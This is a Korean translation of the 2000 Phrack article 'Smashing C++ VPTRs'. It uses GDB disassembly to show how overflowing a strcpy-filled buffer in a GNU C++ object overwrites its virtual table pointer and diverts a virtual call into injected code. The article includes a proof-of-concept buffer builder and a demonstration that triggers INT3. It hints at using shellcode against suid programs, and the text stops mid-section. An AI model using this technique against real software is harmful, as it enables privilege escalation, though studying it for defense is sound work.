- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x08[0x10] |----------------------------- SMASHING C++ VPTRS ----------------------------| |-----------------------------------------------------------------------------| |-------------------------- rix --------------------------| |-------------Translator : realdata --------------| |-------------------------------- KHDP / IGRUS -------------------------------| ----| Introduction 최근 몇년간, C로 짜여진 프로그램에서 버퍼오버플로우를 이용하는 방법이 널리 알려진 테크닉으로 우리의 주의를 이끌었다. 비록 C가 가장 널리 퍼져 있지만, 우리는 C++로 짜여진 프로그램들도 많이 보게 된다. 대부분 C가 할 수 있는 것들을 C++로도 할 수는 있지만, C++는 주로 객체 지향의 개념들을 사용하기 때문에 버퍼오버플로우와 관련된 새로운 가능성을 우리에게 제시한다. 우리는 이러한 가능성 중에 하나를 C++ GNU 컴파 일러와 x86 Linux 환경에서 분석할 것이다. ----| C++ Backgrounder C++에서는 methods라고 하는 function과 data member들을 포함하는 하나의 구조체 (structure)를 class라고 정의한다. 그리고, 이러한 class의 definition을 기반으 로하는 variable를 생성시킬 수 있다. (역자 주 : 이러한 variable을 reference variable이라고 한다.) 이 variable을 "object" 즉, 객체라고 지칭한다. 예를 들어, 아래에 나오는 프로그램을 보자. (bo1.cpp): #include #include class MyClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer, String); } void PrintBuffer() { printf("%s\n", Buffer); } }; void main() { MyClass Object; Object.SetBuffer("string"); Object.PrintBuffer(); } 위 프로그램에서 2개의 methods를 가진 MyClass라는 class를 정의했다: 1) SetBuffer() method에서는, class 내부의 버퍼를 채우는 역할을 한다 (Buffer). 2) PrintBuffer() method는, 이 버퍼의 내용을 출력한다. 그리고, MyClass라는 class를 기반으로 하는 Object 객체를 정의했다. 우리는 strcpy() 을 사용하여 Buffer를 채우는 매우 위험한(?) 방법을 사용하는 SetBuffer() method를 발견했을 것이다. 공교롭게도, 위의 단순한 예에서 객체 지향 프로그래밍을 사용하는 것이 많은 이점을 가져다 주는 것처럼 보이지 않는다. 그러나 객체 지향 프로그래밍에서 자주 사용되는 inheritance mechanism (상속성)을 살펴본다면 객체 지향 프로그래밍의 장점을 알게 될 것이다. 아래의 예제(bo2.cpp)에서는 inheritance mechanism을 이용하여 조금 다른 PrintBuffer() methods를 갖는 2개의 class을 생성시킬 것이다. #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; void main() { BaseClass *Object[2]; Object[0] = new MyClass1; Object[1] = new MyClass2; Object[0]->SetBuffer("string1"); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } 이 프로그램은 MyClass1,MyClass2라는 BaseClass의 derivative(유도) class를 생성 시켰다. 이들 2개의 class는 PrintBuffer() method의 출력에 있어 차이가 있음을 알 수 있다. 이 class들은 클래스 내부에 PrintBuffer() method을 가지고 있지만, 원래 BaseClass의 PrintBuffer() method를 호출한다. 그 다음으로, main() 함수에서 BaseClass라는 이름을 가진 class의 2개 객체를 가리키는 포인터의 배열을 정의하였다. 2개 생성된 객체는 각각 MyClass1, MyClass2 클래스의 객체이다. 그리고 2개의 객체의 SetBuffer(), PrintBuffer() methods를 호출한다. 이 프로그램을 실행한 결과를 살펴보자: rix@pentium:~/BO> bo2 MyClass1: string1 MyClass2: string2 rix@pentium:~/BO> 여러분들은 객체 지향 프로그래밍의 이점을 알아차렸을 것이다. 우리는 다른 2개의 class에서 같은 PrintBuffer() method를 호출 하였다! 이것이 바로 virtual(가상) methods를 사용한 결과이다. virtual methods는 base(기초) class의 method를 새롭 게 정의할 수도 있고, derivative class내에서 (만일, base class가 완벽히 추상화 되어 있다면) base class의 method를 정의할 수 있다. 만일 우리가 virtual이라는 키워드 없이 method를 선언하였다면, 일반적으로 컴파일러는 컴파일할 때 함수 호출 을 결정한다. 이를 "static binding" 즉, 정적 결합이라고 한다.(역자 주 : 때로는 static binding을 early binding(이른 결합)이라고도 한다.) 하지만 위의 예제에서 는 함수 호출이 Object[] 배열에 있는 객체의 클래스에 의존하기 때문에 프로그램의 실행시간에 함수 호출을 결정하기 위해서 우리는 PrintBuffer() method에 vitual이 라는 키워드를 선언해야만 한다. 이 때, 컴파일러는 dynamic binding(동적 결합)을 사용하며, 실행시간에 함수호출을 위해서 주소를 미리 계산해 둘 것이다. ----| C++ VPTR dynamic binding(동적 결합) 메커니즘에 대해서 좀 더 자세한 방법으로 분석해보자. BaseClass라는 기초클래스와 이 클래스의 derivative(유도) 클래스의 경우를 살펴 보자. 컴파일러는 처음에 BaseClass의 선언을 읽게 될 것이다. 이 때, Buffer의 선언에 따라 32bytes를 예약(reserves)해 놓을 것이다. 그리고는 SetBuffer() method(not virtual)의 선언이 컴파일러에 의해 읽혀질때, SetBufffer() method의 내용처럼, 대응하는 어드레스에 직접적으로 assign(대입)한다.(역자주: strcpy에 의해서 Buffer 에 집어 넣는 것.) 마지막으로 PrintBuffer() method(virtual) 선언을 읽는다. 이 경우에, static binding(정적 결합) 대신, 동적결합을 하게 된다. 그리고 (pointer 를 포함하는) 4bytes가 클래스안에 예약(reserves)된다. 아래의 구조를 보자. BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV Where: B 는 Buffer의 byte를 나타냄. V 는 pointer의 byte를 나타냄. 이 포인터를 "VPTR"(Virtual Pointer)라고 부르며, 이 포인터는 함수의 포인터가 포 함된 배열의 도입부(entry)를 가리킨다. 함수의 포인터는 (class에 상대적으로) methods를 가리킨다. 하나의 class를 위해 하나의 VTABLE이 존재하며, 여기에는 그 클래스의 모든 methods를 가리키는 포인터가 포함된다. 아래에 나오는 diagram을 보자. Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV =+== | +------------------------------+ | +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW =+== | +------------------------------+ | +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ Where: B 는 Buffer의 byte를 나타냄. V 는 VTABLE_MyClass1를 가리키는 VPTR의 byte를 나타냄. W 는 VTABLE_MyClass2를 가리키는 VPTR의 byte를 나타냄. I 는 다양한 정보를 가지는 byte를 나타냄. P 는 MyClass1의 PrintBuffer() method를 가리키는 pointer의 byte를 나타냄. Q 는 MyClass2의 PrintBuffer() method를 가리키는 pointer의 byte를 나타냄. 예를 들어, 만약 우리가 MyClass1 클래스의 세번째 객체를 만든다면 다음과 같을 것이다: Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV 여기서 VVVV는 VTABLE_MyClass1을 가리키는 포인터이다. 자 우리는 여기서 무엇을 알수 있는가? 바로 프로세스의 메모리 안에서 우리의 버퍼 뒤에 VPTR이 위치한다는 사실이다. strcpy()함수로서 이 버퍼를 가득채운다면, 우리는 쉽게 VPTR에 도달할 수 있다! NOTE: 윈도우 환경에서 테스트 해 본 결과, Visual C++ 6.0은 위와 같은 기법을 방지하기 위해서 객체가 시작하는 처음에 VPTR을 놓았다. 반면에 GNU C++은 객체의 끝에 VPTR을 위 치시키므로 이러한 기법이 가능하다. ----| VPTR analysis using GDB 이제 디버거를 사용하여 좀더 정확한 원리를 살펴보자. 이를 위해서, 우리의 프로그램을 컴파일하고, GDB를 작동시키자. rix@pentium:~/BO > gcc -o bo2 bo2.cpp rix@pentium:~/BO > gdb bo2 GNU gdb 4.17.0.11 with Linux support Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disassemble main Dump of assembler code for function main: 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) 0x80485d3 : pushl $0x24 0x80485d5 : call 0x80487f0 <___builtin_new> 0x80485da : addl $0x4,%esp 0x80485dd : movl %eax,%eax 0x80485df : pushl %eax 0x80485e0 : call 0x8048660 <__8MyClass2> 0x80485e5 : addl $0x4,%esp 0x80485e8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80485ea : movl %eax,0xfffffffc(%ebp) 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp 0x80485fe : pushl $0x804892e 0x8048603 : movl 0xfffffffc(%ebp),%eax 0x8048606 : pushl %eax 0x8048607 : call 0x80486c0 0x804860c : addl $0x8,%esp 0x804860f : movl 0xfffffff8(%ebp),%eax 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx 0x8048621 : movl 0x4(%ebx),%edi 0x8048624 : call *%edi 0x8048626 : addl $0x4,%esp 0x8048629 : movl 0xfffffffc(%ebp),%eax 0x804862c : movl 0x20(%eax),%esi 0x804862f : addl $0x8,%esi ---Type to continue, or q to quit--- 0x8048632 : movswl (%esi),%eax 0x8048635 : movl %eax,%edx 0x8048637 : addl 0xfffffffc(%ebp),%edx 0x804863a : pushl %edx 0x804863b : movl 0x4(%esi),%edi 0x804863e : call *%edi 0x8048640 : addl $0x4,%esp 0x8048643 : xorl %eax,%eax 0x8048645 : jmp 0x8048650 0x8048647 : movl %esi,%esi 0x8048649 : leal 0x0(%edi,1),%edi 0x8048650 : leal 0xffffffec(%ebp),%esp 0x8048653 : popl %ebx 0x8048654 : popl %esi 0x8048655 : popl %edi 0x8048656 : movl %ebp,%esp 0x8048658 : popl %ebp 0x8048659 : ret 0x804865a : leal 0x0(%esi),%esi End of assembler dump. 분석를 시작해 보자. 몇부분으로 잘라서 우리의 main() 함수를 더욱 자세한 방법으로 알아보자. 0x80485b0
: pushl %ebp 0x80485b1 : movl %esp,%ebp 0x80485b3 : subl $0x8,%esp 0x80485b6 : pushl %edi 0x80485b7 : pushl %esi 0x80485b8 : pushl %ebx 우리의 프로그램은 스택 프레임을 만들고, Object[] 배열을 위한 8bytes를 스택에 reserve 시킨다. Object[]는 index 0을 위해서 %ebp 레지스터의 0xfffffff8에, index 1 을 위해서 %ebp 레지스터의 0xfffffffc에 각각 4bytes씩 두개의 포인터를 저장한 것이다. 이후에는, 이들이 다양한 레지스터에 저장될 것이다. 0x80485b9 : pushl $0x24 0x80485bb : call 0x80487f0 <___builtin_new> 0x80485c0 : addl $0x4,%esp 위에서 ___builtin_new을 호출하였고, Object[0]을 위해 heap에 0x24 (36 bytes)만큼 reserve시키고, EAX 레지스터에 reserve된 주소를 되돌려 준다. 여기서 36 bytes를 통해 알 수 있듯이, 버퍼를 위한 공간이 32bytes이고, 이 버퍼를 뒤따라 4bytes의 VPTR이 놓인다. 0x80485c3 : movl %eax,%eax 0x80485c5 : pushl %eax 0x80485c6 : call 0x8048690 <__8MyClass1> 0x80485cb : addl $0x4,%esp 자, EAX 레지스터에 들어있던 object의 주소를 스택에 푸쉬하고, __8MyClass1를 호출하였 다. 실제로, 이 함수는 MyClass1 클래스의 constructor(생성자)이다. C++에서 모든 method는 추가로 "secret" (숨겨진) 파라메터를 포함한다. 그 파라메터는 method를 실제로 호출한 객체의 주소를 갖는다("This" 포인터). 이제 이 constructor(생성자)를 자세히 살펴보자: (gdb) disassemble __8MyClass1 Dump of assembler code for function __8MyClass1: 0x8048690 <__8MyClass1>: pushl %ebp 0x8048691 <__8MyClass1+1>: movl %esp,%ebp 0x8048693 <__8MyClass1+3>: pushl %ebx 0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx EBX 레지스터는 36bytes만큼 reserved된 곳을 가리키는 포인터를 가진다("This" pointer). 0x8048697 <__8MyClass1+7>: pushl %ebx 0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass> 0x804869d <__8MyClass1+13>: addl $0x4,%esp 여기서, BaseClass 클래스의 생성자를 호출하였다. (gdb) disass __9BaseClass Dump of assembler code for function __9BaseClass: 0x8048700 <__9BaseClass>: pushl %ebp 0x8048701 <__9BaseClass+1>: movl %esp,%ebp 0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx EDX 레지스터는 36bytes만큼 reserved된 곳을 가리키는 포인터를 가진다("This" pointer). 0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx) EDX+0x20 (=EDX+32)에 위치하는 4bytes에 $0x8048958 값을 받는다. 그리고, __9BaseClass 함수는 다른 곳에 확장된다. 만약에 이와 같이 한다면: (gdb) x/aw 0x08048958 0x8048958 <_vt.9BaseClass>: 0x0 여기서 우리는 EDX+0x20 ( reserved 객체의 VPTR )에 쓰여진 값은 BaseClass 클래스의 VTABLE의 어드레스를 받은 것이라는 것을 알 수 있다. MyClass1 Constructor(생성자)의 코드로 다시 돌아가서 보면: 0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx) EBX+0x20 (VPTR) 에 0x8048948라는 값이 쓰여졌다. 앞에서와 같이, 함수가 다른곳에 확장된 것이다. 자 다음을 보자: (gdb) x/aw 0x08048948 0x8048948 <_vt.8MyClass1>: 0x0 VPTR이 덮어 써지고, 그곳에 MyClass1 클래스의 VTABLE 주소를 받는다. main() 함수에서 는 메모리에 할당된 객체를 가리키는 포인터(EAX에 있는)를 되돌려 받는다. 0x80485ce : movl %eax,%eax 0x80485d0 : movl %eax,0xfffffff8(%ebp) This 포인터가 Object[0]에 놓인다. 그리고, 프로그램은 Object[1]에 대해서도 위와 같은 메커니즘을 사용한다. 단순히 어드레스만 다르게 사용하는 것이다. 결국 initialization( 초기화)가 끝나고, 다음에 나오는 명령이 실행된다: 0x80485ed : pushl $0x8048926 0x80485f2 : movl 0xfffffff8(%ebp),%eax 0x80485f5 : pushl %eax 여기서 보면, 스택에 0x8048926이라는 어드레스 뿐만 아니라 Object[0]의 값("This" pointer)도 stack에 저장한다. 0x8048926이라는 주소를 살펴보면: (gdb) x/s 0x08048926 0x8048926 <_fini+54>: "string1" 이 어드레스가 BaseClass라는 클래스의 SetBuffer() 함수에 의해서 buffer에 썼던 "string1" 이 저장된 곳이라는 것을 알 수 있다. 0x80485f6 : call 0x80486c0 0x80485fb : addl $0x8,%esp 위에서 BaseClass의 SetBuffer() method를 호출하였다. 이것은 SetBuffer method를 호출하는 것이 static binding (정적 결합)이라는 것을 보여준다는 점에서 관심을 가질만하다. 같은 원리가 Object[1]의 SetBuffer() method에 대해서도 적용된다. run time(실행시간)에 두 객체가 정확히 초기화되는지 알아보기 위해서, 아래와 같은 breakpoints를 정해보자: 0x80485c0: 첫번째 객체의 주소를 얻기 위한 Breakpoint. 0x80485da: 두번째 객체의 주소를 얻기 위한 Breakpoint. 0x804860f: 객체들의 초기화가 잘 이루어졌는가 알아보기 위한 Breakpoint. (gdb) break *0x80485c0 Breakpoint 1 at 0x80485c0 (gdb) break *0x80485da Breakpoint 2 at 0x80485da (gdb) break *0x804860f Breakpoint 3 at 0x804860f Breakpoint를 잡아주고, 프로그램을 실행하면: Starting program: /home/rix/BO/bo2 Breakpoint 1, 0x80485c0 in main () EAX의 내용을 본다면, 첫번째 객체의 주소가 들어가 있음을 알 수 있다: (gdb) info reg eax eax: 0x8049a70 134519408 다음의 breakpoint로 향해서 달려가 보자: (gdb) cont Continuing. Breakpoint 2, 0x80485da in main () 이번에는 두번째 객체의 주소를 알 수 있다: (gdb) info reg eax eax: 0x8049a98 134519448 constructor(생성자)와 SetBuffer() method를 이어서 실행시켜 보자: (gdb) cont Continuing. Breakpoint 3, 0x804860f in main () 메모리상에 두 객체가 이어서 위치해 있다는 것을 알 수 있다.(0x8049a70과0x8049a98) 그러나, 0x8049a98 - 0x8049a70 = 0x28이라는 것은 첫번째 객체와 두번째 객체 사이에 4bytes가 삽입되어 있다는 것을 가리킨다. 이 4bytes에 대한 정보를 알아보면: (gdb) x/aw 0x8049a98-4 0x8049a94: 0x29 0x29라는 값이 들어있음을 보게된다. 그리고 두번째 객체에서도 이 특정한 4bytes를 보면: (gdb) x/xb 0x8049a98+32+4 0x8049abc: 0x49 지금 초기화된 우리의 객체 각각의 내부 구조를 간단한 방법으로 살펴 볼 수 있다: (gdb) x/s 0x8049a70 0x8049a70: "string1" (gdb) x/a 0x8049a70+32 0x8049a90: 0x8048948 <_vt.8MyClass1> (gdb) x/s 0x8049a98 0x8049a98: "string2" (gdb) x/a 0x8049a98+32 0x8049ab8: 0x8048938 <_vt.8MyClass2> 우리의 클래스 각각의 VTABLE의 내용 또한 살펴보면: (gdb) x/a 0x8048948 0x8048948 <_vt.8MyClass1>: 0x0 (gdb) x/a 0x8048948+4 0x804894c <_vt.8MyClass1+4>: 0x0 (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 (gdb) x/a 0x8048948+12 0x8048954 <_vt.8MyClass1+12>: 0x8048770 (gdb) x/a 0x8048938 0x8048938 <_vt.8MyClass2>: 0x0 (gdb) x/a 0x8048938+4 0x804893c <_vt.8MyClass2+4>: 0x0 (gdb) x/a 0x8048938+8 0x8048940 <_vt.8MyClass2+8>: 0x0 (gdb) x/a 0x8048938+12 0x8048944 <_vt.8MyClass2+12>: 0x8048730 위에서와 같이 PrintBuffer() method가 우리가 만든 클래스의 VTABLE에서 4번째 method로 작용한다. 그 다음, dynamic binding(동적 결합)을 위한 메커니즘에 대해 분석해 보자. 계속해서 프로그램을 실행시키면서 레지스터와 사용되는 메모리에 대해 서 살펴보자. 다음과 같은 GDB 명령으로 main()함수를 한줄 한줄 실행해 보자. (gdb) ni 지금 아래와 같은 명령이 실행될 것이다: 0x804860f : movl 0xfffffff8(%ebp),%eax 이 명령은 첫번째 EAX로 하여금 첫번째 객체를 가리키도록 한다. 0x8048612 : movl 0x20(%eax),%ebx 0x8048615 : addl $0x8,%ebx 위의 명령들은 EBX 레지스터를 MyClass1 클래스의 VTABLE의 3번째 주소를 가리키는 포인터로 만드는 것이다. 0x8048618 : movswl (%ebx),%eax 0x804861b : movl %eax,%edx 위의 명령들은 VTABLE안에서 오프셋 +8에 있는 워드를 EDX에 로드시킨다. 0x804861d : addl 0xfffffff8(%ebp),%edx 0x8048620 : pushl %edx 위의 명령은 첫번째 객체의 주소를 EDX 레지스터에 더하고, 그 결과(This 포인터)를 스택에 푸쉬한다. 0x8048621 : movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4) 0x8048624 : call *%edi // run the code at EDI 위의 명령은 VTABLE의 4번째 어드레스 (VPTR+8+4)에 MyClass1 클래스의 PrintBuffer() method의 어드레스를 넣는다. 그리고 나서 이 method를 실행(호출)시킨다. MyClass2 클래스의 PrintBuffer() method도 이와 같은 방식으로 사용된다. 그리고 마지막으로, main() 함수의 끝에 도달하여, RET 명령을 사용하여 프로그램을 종료한다. 위에서 보면 메모리상에서 객체의 처음을 가리키기 위해 "strange handling"하는 것을 볼 수 있는데, VPTR+8의 위치에 있는 오프셋 워드를 찾아 첫번째 객체의 어드레스와 더하였다. 이러한 조작은 우리가 예로 들고 있는 프로그램에서는 아무런 역할을 하지 않음을 VPTR+8이 가리키는 것을 볼때 알수 있다: (gdb) x/a 0x8048948+8 0x8048950 <_vt.8MyClass1+8>: 0x0 그러나, 이러한 조작은 다른 복잡한 경우의 프로그램에 있어서 필요하다. 우리는 이후에 몇가지 문제가 일어나기 때문에, 이에 대해서 그때 고려하기로 하겠다. ----| Exploiting VPTR 앞으로 우리는 간단한 방법으로 버퍼오버플로우를 악용해보도록 하겠다. 우선 우리는 아래와 같은 사항에 대해서 언급해야 한다: - 우선 우리의 VTABLE을 만들어야 한다. 그리고 이 VTABLE에는 우리가 실행시킬 코드의 어드레스가 있어야 한다. (우리는 당연히 shellcode를 실행시킬 것이다 ;) - 그리고 VPTR을 덮어써버릴때, 그 내용을 우리가 만든 VTABLE을 가리키도록 해야 할 것 이다. 위의 내용들을 구체적으로 구현해보면, 우리가 덮어쓸 버퍼의 앞에 우리의 VTABLE을 만 든다. 그리고 나서, 우리는 VPTR의 값을 우리의 버퍼 맨 앞(우리가 만든 VTABLE)을 가리 키도록 세팅해야 한다. 그리고 버퍼에서 VTABLE뒤에 바로 shellcode를 넣어도 되고, VPTR뒤에 넣어도 된다. 하지만, 후자와 같은 방법을 쓸때에는 segmentation faults를 일으키지 않는, 다시 말해서 우리가 access할 수 있는 메모리 부분인지를 확인해야만 한다. 여러분들도 짐작하겠지만, 위와 같은 조건을 만족시키기 위해서는 커다란 버퍼가 필요함을 대충 느낄 것이다. 버퍼가 충분히 크다면, VTABLE과 shellcode도 문제 없이 사용할 수 있고 , segmentation faults에 대한 두려움도 사라져 버릴 것이다. 그리고 객체가 매번 (0x29, 0x49)의 4bytes 순서로 뒤따르고, 우리는 VPTR 뒤의 바이트 (문자열의 맨끝)에 00h를 써야 할 필요가 없다는 것을 명심하자. 쉘코드가 VPTR앞에 정확히 놓여 있는가 체크해 보자. 우리의 버퍼에 다음과 같은 구조를 적용시켜 보자. +------(1)---<----------------+ | | | ==+= SSSS ..... SSSS .... B ... CVVVV0 ==+= =+== | | | | +----(2)--+->-------------+ Where: V 는 버퍼의 맨 처음 주소를 나타냄. S 는 쉘코드의 주소를 나타내는데, 이 예제에서는 C 어드레스로 함.( 왜냐하면 우리는 여기서 쉘코드가 VPTR앞에 정확히 놓이는가를 보기위해서임. 그러므로 이 경우에는 address S=address V+offset VPTR in the buffer-1 ) B 는 바이트의 크기조절을 위한 바이트를 나타냄. (예를 들면, NOP(0x90)) C 는 쉘코드로서, 이 예제에서는, SIGTRAP signal를 일으키는 CCh (INT 3)로 사용함. 0 는 00h(NULL)로 strcpy() 함수 사용때문에 버퍼의 끝임을 알리기 위해 사용함. 버퍼의 가장 처음에 놓이는 어드레스(SSSS)는 오버플로 후에 호출되는 첫번째 메써드의 VTABLE안의 index를 알아도 되고, 몰라도 되는 것이다. 이 index를 알고 있다면, 정확한 포인터를 사용하여 가리킬 수 있다. 그렇지만, 모른다하더라도 포인터의 수를 최대로 만든다면 덮어 써버린 여러개의 포인터 중 하나를 사용하여 메써드를 실행하도록 할 수 있다. (역자: 포인터의 물량공세) 참고로, 하나의 클래스에는 200개의 메써드를 포함할 수 있다. VVVV (VPTR)에 있는 어드레스는 프로그램의 실행흐름과 관련있다. 그러므로 Heap에 할당 된 객체의 주소가 여기 와야 한다. 그리고 이 주소를 정확히 알아내기란 쉽지 않다. 하나의 버퍼를 만드는 작은 함수를 만들어 보자. 이 함수는 3개의 파라메터(매개변수)를 받는다: - BufferAddress: 오버플로 할 버퍼의 가장 처음 주소. - NAddress: VTABLE안에서 우리가 실행하기 원하는 어드레스의 N번째. 다음이 우리가 만든 BufferOverflow() 함수 코드이다: char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4+1); // buffer 할당. 마지막 1바이트는 null 스트링을 위한 공간. CCOffset=(unsigned long)VPTROffset-1; // 버퍼에서 실행할 코드의 오프셋을 계산. for (i=0;i #include #include class BaseClass { private: char Buffer[32]; public: void SetBuffer(char *String) { strcpy(Buffer,String); } virtual void PrintBuffer() { printf("%s\n",Buffer); } }; class MyClass1:public BaseClass { public: void PrintBuffer() { printf("MyClass1: "); BaseClass::PrintBuffer(); } }; class MyClass2:public BaseClass { public: void PrintBuffer() { printf("MyClass2: "); BaseClass::PrintBuffer(); } }; char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; Buffer=(char*)malloc(VPTROffset+4+1); CCOffset=(unsigned long)VPTROffset-1; for (i=0;iSetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32)); Object[1]->SetBuffer("string2"); Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); } 컴파일한 후, GDB를 실행시킨다: rix@pentium:~/BO > gcc -o bo3 bo3.cpp rix@pentium:~/BO > gdb bo3 ... (gdb) disass main Dump of assembler code for function main: 0x8048670
: pushl %ebp 0x8048671 : movl %esp,%ebp 0x8048673 : subl $0x8,%esp 0x8048676 : pushl %edi 0x8048677 : pushl %esi 0x8048678 : pushl %ebx 0x8048679 : pushl $0x24 0x804867b : call 0x80488c0 <___builtin_new> 0x8048680 : addl $0x4,%esp 0x8048683 : movl %eax,%eax 0x8048685 : pushl %eax 0x8048686 : call 0x8048760 <__8MyClass1> 0x804868b : addl $0x4,%esp 0x804868e : movl %eax,%eax 0x8048690 : movl %eax,0xfffffff8(%ebp) 0x8048693 : pushl $0x24 0x8048695 : call 0x80488c0 <___builtin_new> 0x804869a : addl $0x4,%esp 0x804869d : movl %eax,%eax 0x804869f : pushl %eax 0x80486a0 : call 0x8048730 <__8MyClass2> 0x80486a5 : addl $0x4,%esp 0x80486a8 : movl %eax,%eax ---Type to continue, or q to quit--- 0x80486aa : movl %eax,0xfffffffc(%ebp) 0x80486ad : pushl $0x20 0x80486af : pushl $0x4 0x80486b1 : movl 0xfffffff8(%ebp),%eax 0x80486b4 : pushl %eax 0x80486b5 : call 0x80485b0 0x80486ba : addl $0xc,%esp 0x80486bd : movl %eax,%eax 0x80486bf : pushl %eax 0x80486c0 : movl 0xfffffff8(%ebp),%eax 0x80486c3 : pushl %eax 0x80486c4 : call 0x8048790 0x80486c9 : addl $0x8,%esp 0x80486cc : pushl $0x80489f6 0x80486d1 : movl 0xfffffffc(%ebp),%eax 0x80486d4 : pushl %eax 0x80486d5 : call 0x8048790 0x80486da : addl $0x8,%esp 0x80486dd : movl 0xfffffff8(%ebp),%eax 0x80486e0 : movl 0x20(%eax),%ebx 0x80486e3 : addl $0x8,%ebx 0x80486e6 : movswl (%ebx),%eax 0x80486e9 : movl %eax,%edx 0x80486eb : addl 0xfffffff8(%ebp),%edx ---Type to continue, or q to quit--- 0x80486ee : pushl %edx 0x80486ef : movl 0x4(%ebx),%edi 0x80486f2 : call *%edi 0x80486f4 : addl $0x4,%esp 0x80486f7 : movl 0xfffffffc(%ebp),%eax 0x80486fa : movl 0x20(%eax),%esi 0x80486fd : addl $0x8,%esi 0x8048700 : movswl (%esi),%eax 0x8048703 : movl %eax,%edx 0x8048705 : addl 0xfffffffc(%ebp),%edx 0x8048708 : pushl %edx 0x8048709 : movl 0x4(%esi),%edi 0x804870c : call *%edi 0x804870e : addl $0x4,%esp 0x8048711 : xorl %eax,%eax 0x8048713 : jmp 0x8048720 0x8048715 : leal 0x0(%esi,1),%esi 0x8048719 : leal 0x0(%edi,1),%edi 0x8048720 : leal 0xffffffec(%ebp),%esp 0x8048723 : popl %ebx 0x8048724 : popl %esi 0x8048725 : popl %edi 0x8048726 : movl %ebp,%esp 0x8048728 : popl %ebp ---Type to continue, or q to quit--- 0x8048729 : ret 0x804872a : leal 0x0(%esi),%esi End of assembler dump. 이번에, 첫번째 객체의 주소를 얻기 위해, 0x8048690에 breakpoint를 심어두자. (gdb) break *0x8048690 Breakpoint 1 at 0x8048690 그리고, 이 프로그램을 실행시키면: (gdb) run Starting program: /home/rix/BO/bo3 Breakpoint 1, 0x8048690 in main () 첫번째 객체의 주소를 보려면: (gdb) info reg eax eax: 0x8049b38 134519608 Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x8049b58 in ?? () 우리는 위에서 0x8049b58 어드레스로부터 실행된 SIGTRAP을 잘 받았다. 하지만, 객체의 주소는 0x8049b38이었다. 간단한 계산을 해보면 쉽게 이해할 수 있다. 0x8049b58-1-0x8049b38=0x1F (=31)이므로, 버퍼안에 실행시키려고 했었던 CCh의 오프셋과 정 확히 들어 맞았다. 그 결과로, 우리가 실행하려고 했던 CCh를 실행시킬 수 있었다!!! 이제 영리한 여러분들은 위에서 사용한 CCh 코드대신, 작은 쉘코드를 CCh의 자리에 놓는다면, 그 리고 bo3라는 프로그램이 suid라면, 아주 재미있는 결과가 나오리라는 것을 짐작했을 것이다..;) Some variations about the method ================================ 우리는 위에서 가장 간단히 악용할 수 있는 메커니즘을 살펴 보았다. 하지만, 아주 복잡한 경우도 나타날 가능성이 있을 것이다... 예를 들어, 아래와 같이 클래스가 정의될 수도 있다: class MyClass3 { private: char Buffer3[32]; MyClass1 *PtrObjectClass; public: virtual void Function1() { ... PtrObjectClass1->PrintBuffer(); ... } }; 위 경우는, 두개의 클래스 사이에 "link by reference"(참조에 의한 링크)라고 불려지는 관계를 가진다. MyClass3 클래스는 또다른 클래스를 가리키는 포인터를 가진다. 만약 MyClass3 클래스안에서 버퍼를 오버플로시킨다면, PtrObjectClass 포인터를 덮어쓸 수 있다. 우리는 단지 추가된 포인터만 살펴보면 된다 ;) +----------------------------------------------------+ | | +-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR | =+== MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX ==+= | +---------------------<---------------------------+ | +--> MyClass1 object: 